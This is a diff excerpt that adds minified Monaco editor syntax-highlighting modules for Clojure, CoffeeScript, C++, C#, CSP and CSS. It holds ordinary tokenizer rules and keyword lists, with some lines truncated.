},"@default":"identifier"}}],{include:"@whitespace"},[/[{}()\[\]]/,"@brackets"],[/[<>](?!@symbols)/,"@brackets"],[/@symbols/,{cases:{"@operators":"delimiter","@default":""}}],[/\d*\.\d+([eE][\-+]?\d+)?/,"number.float"],[/\$[0-9a-fA-F]{1,16}/,"number.hex"],[/\d+/,"number"],[/[;,.]/,"delimiter"],[/'([^'\\]|\\.)*$/,"string.invalid"],[/'/,"string","@string"],[/'[^\\']'/,"string"],[/'/,"string.invalid"],[/\#\d+/,"string"]],comment:[[/[^\(\*]+/,"comment"],[/\*\)/,"comment","@pop"],[/\(\*/,"comment"]],string:[[/[^\\']+/,"string"],[/\\./,"string.escape.invalid"],[/'/,{token:"string.quote",bracket:"@close",next:"@pop"}]],whitespace:[[/[ \t\r\n]+/,"white"],[/\(\*/,"comment","@comment"],[/\/\/.*$/,"comment"]]}};return p(u);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/clojure/clojure", ["require","require"],(require)=>{
var moduleExports=(()=>{var a=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var r in e)a(t,r,{get:e[r],enumerable:!0})},l=(t,e,r,s)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of i(e))!c.call(t,n)&&n!==r&&a(t,n,{get:()=>e[n],enumerable:!(s=o(e,n))||s.enumerable});return t};var p=t=>l(a({},"__esModule",{value:!0}),t);var h={};d(h,{conf:()=>u,language:()=>m});var u={comments:{lineComment:";;"},brackets:[["[","]"],["(",")"],["{","}"]],autoClosingPairs:[{open:"[",close:"]"},{open:'"',close:'"'},{open:"(",close:")"},{open:"{",close:"}"}],surroundingPairs:[{open:"[",close:"]"},{open:'"',close:'"'},{open:"(",close:")"},{open:"{",close:"}"}]},m={defaultToken:"",ignoreCase:!0,tokenPostfix:".clj",brackets:[{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.parenthesis"},{open:"{",close:"}",token:"delimiter.curly"}],constants:["true","false","nil"],numbers:/^(?:[+\-]?\d+(?:(?:N|(?:[eE][+\-]?\d+))|(?:\.?\d*(?:M|(?:[eE][+\-]?\d+))?)|\/\d+|[xX][0-9a-fA-F]+|r[0-9a-zA-Z]+)?(?=[\\\[\]\s"#'(),;@^`{}~]|$))/,characters:/^(?:\\(?:backspace|formfeed|newline|return|space|tab|o[0-7]{3}|u[0-9A-Fa-f]{4}|x[0-9A-Fa-f]{4}|.)?(?=[\\\[\]\s"(),;@^`{}~]|$))/,escapes:/^\\(?:["'\\bfnrt]|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,qualifiedSymbols:/^(?:(?:[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*(?:\.[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)*\/)?(?:\/|[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)*(?=[\\\[\]\s"(),;@^`{}~]|$))/,specialForms:[".","catch","def","do","if","monitor-enter","monitor-exit","new","quote","recur","set!","throw","try","var"],coreSymbols:["*","*'","*1","*2","*3","*agent*","*allow-unresolved-vars*","*assert*","*clojure-version*","*command-line-args*","*compile-files*","*compile-path*","*compiler-options*","*data-readers*","*default-data-reader-fn*","*e","*err*","*file*","*flush-on-newline*","*fn-loader*","*in*","*math-context*","*ns*","*out*","*print-dup*","*print-length*","*print-level*","*print-meta*","*print-namespace-maps*","*print-readably*","*read-eval*","*reader-resolver*","*source-path*","*suppress-read*","*unchecked-math*","*use-context-classloader*","*verbose-defrecords*","*warn-on-reflection*","+","+'","-","-'","->","->>","->ArrayChunk","->Eduction","->Vec","->VecNode","->VecSeq","-cache-protocol-fn","-reset-methods","..","/","<","<=","=","==",">",">=","EMPTY-NODE","Inst","StackTraceElement->vec","Throwable->map","accessor","aclone","add-classpath","add-watch","agent","agent-error","agent-errors","aget","alength","alias","all-ns","alter","alter-meta!","alter-var-root","amap","ancestors","and","any?","apply","areduce","array-map","as->","aset","aset-boolean","aset-byte","aset-char","aset-double","aset-float","aset-int","aset-long","aset-short","assert","assoc","assoc!","assoc-in","associative?","atom","await","await-for","await1","bases","bean","bigdec","bigint","biginteger","binding","bit-and","bit-and-not","bit-clear","bit-flip","bit-not","bit-or","bit-set","bit-shift-left","bit-shift-right","bit-test","bit-xor","boolean","boolean-array","boolean?","booleans","bound-fn","bound-fn*","bound?","bounded-count","butlast","byte","byte-array","bytes","bytes?","case","cast","cat","char","char-array","char-escape-string","char-name-string","char?","chars","chunk","chunk-append","chunk-buffer","chunk-cons","chunk-first","chunk-next","chunk-rest","chunked-seq?","class","class?","clear-agent-errors","clojure-version","coll?","comment","commute","comp","comparator","compare","compare-and-set!","compile","complement","completing","concat","cond","cond->","cond->>","condp","conj","conj!","cons","constantly","construct-proxy","contains?","count","counted?","create-ns","create-struct","cycle","dec","dec'","decimal?","declare","dedupe","default-data-readers","definline","definterface","defmacro","defmethod","defmulti","defn","defn-","defonce","defprotocol","defrecord","defstruct","deftype","delay","delay?","deliver","denominator","deref","derive","descendants","destructure","disj","disj!","dissoc","dissoc!","distinct","distinct?","doall","dorun","doseq","dosync","dotimes","doto","double","double-array","double?","doubles","drop","drop-last","drop-while","eduction","empty","empty?","ensure","ensure-reduced","enumeration-seq","error-handler","error-mode","eval","even?","every-pred","every?","ex-data","ex-info","extend","extend-protocol","extend-type","extenders","extends?","false?","ffirst","file-seq","filter","filterv","find","find-keyword","find-ns","find-protocol-impl","find-protocol-method","find-var","first","flatten","float","float-array","float?","floats","flush","fn","fn?","fnext","fnil","for","force","format","frequencies","future","future-call","future-cancel","future-cancelled?","future-done?","future?","gen-class","gen-interface","gensym","get","get-in","get-method","get-proxy-class","get-thread-bindings","get-validator","group-by","haLine truncated
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/coffee/coffee", ["require","require"],(require)=>{
var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},p=(n,e,t,o)=>{if(e&&typeof e=="object"||typeof e=="function")for(let r of g(e))!a.call(n,r)&&r!==t&&s(n,r,{get:()=>e[r],enumerable:!(o=i(e,r))||o.enumerable});return n};var c=n=>p(s({},"__esModule",{value:!0}),n);var m={};l(m,{conf:()=>d,language:()=>x});var d={wordPattern:/(-?\d*\.\d\w*)|([^\`\~\!\@\#%\^\&\*\(\)\=\$\-\+\[\{\]\}\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{blockComment:["###","###"],lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*#region\\b"),end:new RegExp("^\\s*#endregion\\b")}}},x={defaultToken:"",ignoreCase:!0,tokenPostfix:".coffee",brackets:[{open:"{",close:"}",token:"delimiter.curly"},{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.parenthesis"}],regEx:/\/(?!\/\/)(?:[^\/\\]|\\.)*\/[igm]*/,keywords:["and","or","is","isnt","not","on","yes","@","no","off","true","false","null","this","new","delete","typeof","in","instanceof","return","throw","break","continue","debugger","if","else","switch","for","while","do","try","catch","finally","class","extends","super","undefined","then","unless","until","loop","of","by","when"],symbols:/[=><!~?&%|+\-*\/\^\.,\:]+/,escapes:/\\(?:[abfnrtv\\"'$]|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/\@[a-zA-Z_]\w*/,"variable.predefined"],[/[a-zA-Z_]\w*/,{cases:{this:"variable.predefined","@keywords":{token:"keyword.$0"},"@default":""}}],[/[ \t\r\n]+/,""],[/###/,"comment","@comment"],[/#.*$/,"comment"],["///",{token:"regexp",next:"@hereregexp"}],[/^(\s*)(@regEx)/,["","regexp"]],[/(\()(\s*)(@regEx)/,["@brackets","","regexp"]],[/(\,)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\=)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\:)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\[)(\s*)(@regEx)/,["@brackets","","regexp"]],[/(\!)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\&)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\|)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\?)(\s*)(@regEx)/,["delimiter","","regexp"]],[/(\{)(\s*)(@regEx)/,["@brackets","","regexp"]],[/(\;)(\s*)(@regEx)/,["","","regexp"]],[/}/,{cases:{"$S2==interpolatedstring":{token:"string",next:"@pop"},"@default":"@brackets"}}],[/[{}()\[\]]/,"@brackets"],[/@symbols/,"delimiter"],[/\d+[eE]([\-+]?\d+)?/,"number.float"],[/\d+\.\d+([eE][\-+]?\d+)?/,"number.float"],[/0[xX][0-9a-fA-F]+/,"number.hex"],[/0[0-7]+(?!\d)/,"number.octal"],[/\d+/,"number"],[/[,.]/,"delimiter"],[/"""/,"string",'@herestring."""'],[/'''/,"string","@herestring.'''"],[/"/,{cases:{"@eos":"string","@default":{token:"string",next:'@string."'}}}],[/'/,{cases:{"@eos":"string","@default":{token:"string",next:"@string.'"}}}]],string:[[/[^"'\#\\]+/,"string"],[/@escapes/,"string.escape"],[/\./,"string.escape.invalid"],[/\./,"string.escape.invalid"],[/#{/,{cases:{'$S2=="':{token:"string",next:"root.interpolatedstring"},"@default":"string"}}],[/["']/,{cases:{"$#==$S2":{token:"string",next:"@pop"},"@default":"string"}}],[/#/,"string"]],herestring:[[/("""|''')/,{cases:{"$1==$S2":{token:"string",next:"@pop"},"@default":"string"}}],[/[^#\\'"]+/,"string"],[/['"]+/,"string"],[/@escapes/,"string.escape"],[/\./,"string.escape.invalid"],[/#{/,{token:"string.quote",next:"root.interpolatedstring"}],[/#/,"string"]],comment:[[/[^#]+/,"comment"],[/###/,"comment","@pop"],[/#/,"comment"]],hereregexp:[[/[^\\\/#]+/,"regexp"],[/\\./,"regexp"],[/#.*$/,"comment"],["///[igm]*",{token:"regexp",next:"@pop"}],[/\//,"regexp"]]}};return c(m);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/cpp/cpp", ["require","require"],(require)=>{
var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var _=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var i in e)r(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,o)=>{if(e&&typeof e=="object"||typeof e=="function")for(let t of s(e))!_.call(n,t)&&t!==i&&r(n,t,{get:()=>e[t],enumerable:!(o=a(e,t))||o.enumerable});return n};var d=n=>l(r({},"__esModule",{value:!0}),n);var g={};c(g,{conf:()=>p,language:()=>m});var p={comments:{lineComment:"//",blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"[",close:"]"},{open:"{",close:"}"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*#pragma\\s+region\\b"),end:new RegExp("^\\s*#pragma\\s+endregion\\b")}}},m={defaultToken:"",tokenPostfix:".cpp",brackets:[{token:"delimiter.curly",open:"{",close:"}"},{token:"delimiter.parenthesis",open:"(",close:")"},{token:"delimiter.square",open:"[",close:"]"},{token:"delimiter.angle",open:"<",close:">"}],keywords:["abstract","amp","array","auto","bool","break","case","catch","char","class","const","constexpr","const_cast","continue","cpu","decltype","default","delegate","delete","do","double","dynamic_cast","each","else","enum","event","explicit","export","extern","false","final","finally","float","for","friend","gcnew","generic","goto","if","in","initonly","inline","int","interface","interior_ptr","internal","literal","long","mutable","namespace","new","noexcept","nullptr","__nullptr","operator","override","partial","pascal","pin_ptr","private","property","protected","public","ref","register","reinterpret_cast","restrict","return","safe_cast","sealed","short","signed","sizeof","static","static_assert","static_cast","struct","switch","template","this","thread_local","throw","tile_static","true","try","typedef","typeid","typename","union","unsigned","using","virtual","void","volatile","wchar_t","where","while","_asm","_based","_cdecl","_declspec","_fastcall","_if_exists","_if_not_exists","_inline","_multiple_inheritance","_pascal","_single_inheritance","_stdcall","_virtual_inheritance","_w64","__abstract","__alignof","__asm","__assume","__based","__box","__builtin_alignof","__cdecl","__clrcall","__declspec","__delegate","__event","__except","__fastcall","__finally","__forceinline","__gc","__hook","__identifier","__if_exists","__if_not_exists","__inline","__int128","__int16","__int32","__int64","__int8","__interface","__leave","__m128","__m128d","__m128i","__m256","__m256d","__m256i","__m512","__m512d","__m512i","__m64","__multiple_inheritance","__newslot","__nogc","__noop","__nounwind","__novtordisp","__pascal","__pin","__pragma","__property","__ptr32","__ptr64","__raise","__restrict","__resume","__sealed","__single_inheritance","__stdcall","__super","__thiscall","__try","__try_cast","__typeof","__unaligned","__unhook","__uuidof","__value","__virtual_inheritance","__w64","__wchar_t"],operators:["=",">","<","!","~","?",":","==","<=",">=","!=","&&","||","++","--","+","-","*","/","&","|","^","%","<<",">>",">>>","+=","-=","*=","/=","&=","|=","^=","%=","<<=",">>=",">>>="],symbols:/[=><!~?:&|+\-*\/\^%]+/,escapes:/\\(?:[0abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,integersuffix:/([uU](ll|LL|l|L)|(ll|LL|l|L)?[uU]?)/,floatsuffix:/[fFlL]?/,encoding:/u|u8|U|L/,tokenizer:{root:[[/@encoding?R\"(?:([^ ()\\\t]*))\(/,{token:"string.raw.begin",next:"@raw.$1"}],[/[a-zA-Z_]\w*/,{cases:{"@keywords":{token:"keyword.$0"},"@default":"identifier"}}],[/^\s*#\s*include/,{token:"keyword.directive.include",next:"@include"}],[/^\s*#\s*\w+/,"keyword.directive"],{include:"@whitespace"},[/\[\s*\[/,{token:"annotation",next:"@annotation"}],[/[{}()\[\]]/,"@brackets"],[/[<>](?!@symbols)/,"@brackets"],[/@symbols/,{cases:{"@operators":"delimiter","@default":""}}],[/\d*\d+[eE]([\-+]?\d+)?(@floatsuffix)/,"number.float"],[/\d*\.\d+([eE][\-+]?\d+)?(@floatsuffix)/,"number.float"],[/0[xX][0-9a-fA-F']*[0-9a-fA-F](@integersuffix)/,"number.hex"],[/0[0-7']*[0-7](@integersuffix)/,"number.octal"],[/0[bB][0-1']*[0-1](@integersuffix)/,"number.binary"],[/\d[\d']*\d(@integersuffix)/,"number"],[/\d(@integersuffix)/,"number"],[/[;,.]/,"delimiter"],[/"([^"\\]|\\.)*$/,"string.invalid"],[/"/,"string","@string"],[/'[^\\']'/,"string"],[/(')(@escapes)(')/,["string","string.escape","string"]],[/'/,"string.invalid"]],whitespace:[[/[ \t\r\n]+/,""],[/\/\*\*(?!\/)/,"comment.doc","@doccomment"],[/\/\*/,"comment","@comment"],[/\/\/.*\\$/,"comment","@linecomment"],[/\/\/.*$/,"comment"]],comment:[[/[^\/*]+/,"comment"],[/\*\//,"comment","@pop"],[/[\/*]/,"comment"]],linecomment:[[/.*[^\\]$/,"comment","@pop"],[/[^]+/,"comment"]],doccomment:[[/[^\/*]+/,"comment.doc"],[/\*\//,"comment.doc","@pop"],[/[\/*]/,"comment.doc"]],string:[[/[^\\"]+/,"string"],[/@escapes/,Line truncated
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/csharp/csharp", ["require","require"],(require)=>{
var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},p=(t,e,o,i)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of a(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=r(e,n))||i.enumerable});return t};var g=t=>p(s({},"__esModule",{value:!0}),t);var u={};l(u,{conf:()=>d,language:()=>m});var d={wordPattern:/(-?\d*\.\d\w*)|([^\`\~\!\#\$\%\^\&\*\(\)\-\=\+\[\{\]\}\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'}],folding:{markers:{start:new RegExp("^\\s*#region\\b"),end:new RegExp("^\\s*#endregion\\b")}}},m={defaultToken:"",tokenPostfix:".cs",brackets:[{open:"{",close:"}",token:"delimiter.curly"},{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.parenthesis"},{open:"<",close:">",token:"delimiter.angle"}],keywords:["extern","alias","using","bool","decimal","sbyte","byte","short","ushort","int","uint","long","ulong","char","float","double","object","dynamic","string","assembly","is","as","ref","out","this","base","new","typeof","void","checked","unchecked","default","delegate","var","const","if","else","switch","case","while","do","for","foreach","in","break","continue","goto","return","throw","try","catch","finally","lock","yield","from","let","where","join","on","equals","into","orderby","ascending","descending","select","group","by","namespace","partial","class","field","event","method","param","public","protected","internal","private","abstract","sealed","static","struct","readonly","volatile","virtual","override","params","get","set","add","remove","operator","true","false","implicit","explicit","interface","enum","null","async","await","fixed","sizeof","stackalloc","unsafe","nameof","when"],namespaceFollows:["namespace","using"],parenFollows:["if","for","while","switch","foreach","using","catch","when"],operators:["=","??","||","&&","|","^","&","==","!=","<=",">=","<<","+","-","*","/","%","!","~","++","--","+=","-=","*=","/=","%=","&=","|=","^=","<<=",">>=",">>","=>"],symbols:/[=><!~?:&|+\-*\/\^%]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/\@?[a-zA-Z_]\w*/,{cases:{"@namespaceFollows":{token:"keyword.$0",next:"@namespace"},"@keywords":{token:"keyword.$0",next:"@qualified"},"@default":{token:"identifier",next:"@qualified"}}}],{include:"@whitespace"},[/}/,{cases:{"$S2==interpolatedstring":{token:"string.quote",next:"@pop"},"$S2==litinterpstring":{token:"string.quote",next:"@pop"},"@default":"@brackets"}}],[/[{}()\[\]]/,"@brackets"],[/[<>](?!@symbols)/,"@brackets"],[/@symbols/,{cases:{"@operators":"delimiter","@default":""}}],[/[0-9_]*\.[0-9_]+([eE][\-+]?\d+)?[fFdD]?/,"number.float"],[/0[xX][0-9a-fA-F_]+/,"number.hex"],[/0[bB][01_]+/,"number.hex"],[/[0-9_]+/,"number"],[/[;,.]/,"delimiter"],[/"([^"\\]|\\.)*$/,"string.invalid"],[/"/,{token:"string.quote",next:"@string"}],[/\$\@"/,{token:"string.quote",next:"@litinterpstring"}],[/\@"/,{token:"string.quote",next:"@litstring"}],[/\$"/,{token:"string.quote",next:"@interpolatedstring"}],[/'[^\\']'/,"string"],[/(')(@escapes)(')/,["string","string.escape","string"]],[/'/,"string.invalid"]],qualified:[[/[a-zA-Z_][\w]*/,{cases:{"@keywords":{token:"keyword.$0"},"@default":"identifier"}}],[/\./,"delimiter"],["","","@pop"]],namespace:[{include:"@whitespace"},[/[A-Z]\w*/,"namespace"],[/[\.=]/,"delimiter"],["","","@pop"]],comment:[[/[^\/*]+/,"comment"],["\\*/","comment","@pop"],[/[\/*]/,"comment"]],string:[[/[^\\"]+/,"string"],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/"/,{token:"string.quote",next:"@pop"}]],litstring:[[/[^"]+/,"string"],[/""/,"string.escape"],[/"/,{token:"string.quote",next:"@pop"}]],litinterpstring:[[/[^"{]+/,"string"],[/""/,"string.escape"],[/{{/,"string.escape"],[/}}/,"string.escape"],[/{/,{token:"string.quote",next:"root.litinterpstring"}],[/"/,{token:"string.quote",next:"@pop"}]],interpolatedstring:[[/[^\\"{]+/,"string"],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/{{/,"string.escape"],[/}}/,"string.escape"],[/{/,{token:"string.quote",next:"root.interpolatedstring"}],[/"/,{token:"string.quote",next:"@pop"}]],whitespace:[[/^[ \t\v\f]*#((r)|(load))(?=\s)/,"directive.csx"],[/^[ \t\v\f]*#\w.*$/,"namespace.cpp"],[/[ \t\v\f\r\n]+/,""],[/\/\*/,"comment","@comment"],[/\/\/.*$/,"comment"]]}};return g(u);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/csp/csp", ["require","require"],(require)=>{
var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var a=(r,t)=>{for(var s in t)o(r,s,{get:t[s],enumerable:!0})},c=(r,t,s,n)=>{if(t&&typeof t=="object"||typeof t=="function")for(let e of u(t))!g.call(r,e)&&e!==s&&o(r,e,{get:()=>t[e],enumerable:!(n=i(t,e))||n.enumerable});return r};var q=r=>c(o({},"__esModule",{value:!0}),r);var p={};a(p,{conf:()=>f,language:()=>l});var f={brackets:[],autoClosingPairs:[],surroundingPairs:[]},l={keywords:[],typeKeywords:[],tokenPostfix:".csp",operators:[],symbols:/[=><!~?:&|+\-*\/\^%]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/child-src/,"string.quote"],[/connect-src/,"string.quote"],[/default-src/,"string.quote"],[/font-src/,"string.quote"],[/frame-src/,"string.quote"],[/img-src/,"string.quote"],[/manifest-src/,"string.quote"],[/media-src/,"string.quote"],[/object-src/,"string.quote"],[/script-src/,"string.quote"],[/style-src/,"string.quote"],[/worker-src/,"string.quote"],[/base-uri/,"string.quote"],[/plugin-types/,"string.quote"],[/sandbox/,"string.quote"],[/disown-opener/,"string.quote"],[/form-action/,"string.quote"],[/frame-ancestors/,"string.quote"],[/report-uri/,"string.quote"],[/report-to/,"string.quote"],[/upgrade-insecure-requests/,"string.quote"],[/block-all-mixed-content/,"string.quote"],[/require-sri-for/,"string.quote"],[/reflected-xss/,"string.quote"],[/referrer/,"string.quote"],[/policy-uri/,"string.quote"],[/'self'/,"string.quote"],[/'unsafe-inline'/,"string.quote"],[/'unsafe-eval'/,"string.quote"],[/'strict-dynamic'/,"string.quote"],[/'unsafe-hashed-attributes'/,"string.quote"]]}};return q(p);})();
return moduleExports;
});
@@ -0,0 +1,12 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/css/css", ["require","require"],(require)=>{
var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var m=(t,e)=>{for(var o in e)r(t,o,{get:e[o],enumerable:!0})},c=(t,e,o,i)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of s(e))!l.call(t,n)&&n!==o&&r(t,n,{get:()=>e[n],enumerable:!(i=a(e,n))||i.enumerable});return t};var d=t=>c(r({},"__esModule",{value:!0}),t);var k={};m(k,{conf:()=>u,language:()=>p});var u={wordPattern:/(#?-?\d*\.\d\w*%?)|((::|[@#.!:])?[\w-?]+%?)|::|[@#.!:]/g,comments:{blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*\\/\\*\\s*#region\\b\\s*(.*?)\\s*\\*\\/"),end:new RegExp("^\\s*\\/\\*\\s*#endregion\\b.*\\*\\/")}}},p={defaultToken:"",tokenPostfix:".css",ws:`[
\r\f]*`,identifier:"-?-?([a-zA-Z]|(\\\\(([0-9a-fA-F]{1,6}\\s?)|[^[0-9a-fA-F])))([\\w\\-]|(\\\\(([0-9a-fA-F]{1,6}\\s?)|[^[0-9a-fA-F])))*",brackets:[{open:"{",close:"}",token:"delimiter.bracket"},{open:"[",close:"]",token:"delimiter.bracket"},{open:"(",close:")",token:"delimiter.parenthesis"},{open:"<",close:">",token:"delimiter.angle"}],tokenizer:{root:[{include:"@selector"}],selector:[{include:"@comments"},{include:"@import"},{include:"@strings"},["[@](keyframes|-webkit-keyframes|-moz-keyframes|-o-keyframes)",{token:"keyword",next:"@keyframedeclaration"}],["[@](page|content|font-face|-moz-document)",{token:"keyword"}],["[@](charset|namespace)",{token:"keyword",next:"@declarationbody"}],["(url-prefix)(\\()",["attribute.value",{token:"delimiter.parenthesis",next:"@urldeclaration"}]],["(url)(\\()",["attribute.value",{token:"delimiter.parenthesis",next:"@urldeclaration"}]],{include:"@selectorname"},["[\\*]","tag"],["[>\\+,]","delimiter"],["\\[",{token:"delimiter.bracket",next:"@selectorattribute"}],["{",{token:"delimiter.bracket",next:"@selectorbody"}]],selectorbody:[{include:"@comments"},["[*_]?@identifier@ws:(?=(\\s|\\d|[^{;}]*[;}]))","attribute.name","@rulevalue"],["}",{token:"delimiter.bracket",next:"@pop"}]],selectorname:[["(\\.|#(?=[^{])|%|(@identifier)|:)+","tag"]],selectorattribute:[{include:"@term"},["]",{token:"delimiter.bracket",next:"@pop"}]],term:[{include:"@comments"},["(url-prefix)(\\()",["attribute.value",{token:"delimiter.parenthesis",next:"@urldeclaration"}]],["(url)(\\()",["attribute.value",{token:"delimiter.parenthesis",next:"@urldeclaration"}]],{include:"@functioninvocation"},{include:"@numbers"},{include:"@name"},{include:"@strings"},["([<>=\\+\\-\\*\\/\\^\\|\\~,])","delimiter"],[",","delimiter"]],rulevalue:[{include:"@comments"},{include:"@strings"},{include:"@term"},["!important","keyword"],[";","delimiter","@pop"],["(?=})",{token:"",next:"@pop"}]],warndebug:[["[@](warn|debug)",{token:"keyword",next:"@declarationbody"}]],import:[["[@](import)",{token:"keyword",next:"@declarationbody"}]],urldeclaration:[{include:"@strings"},[`[^)\r
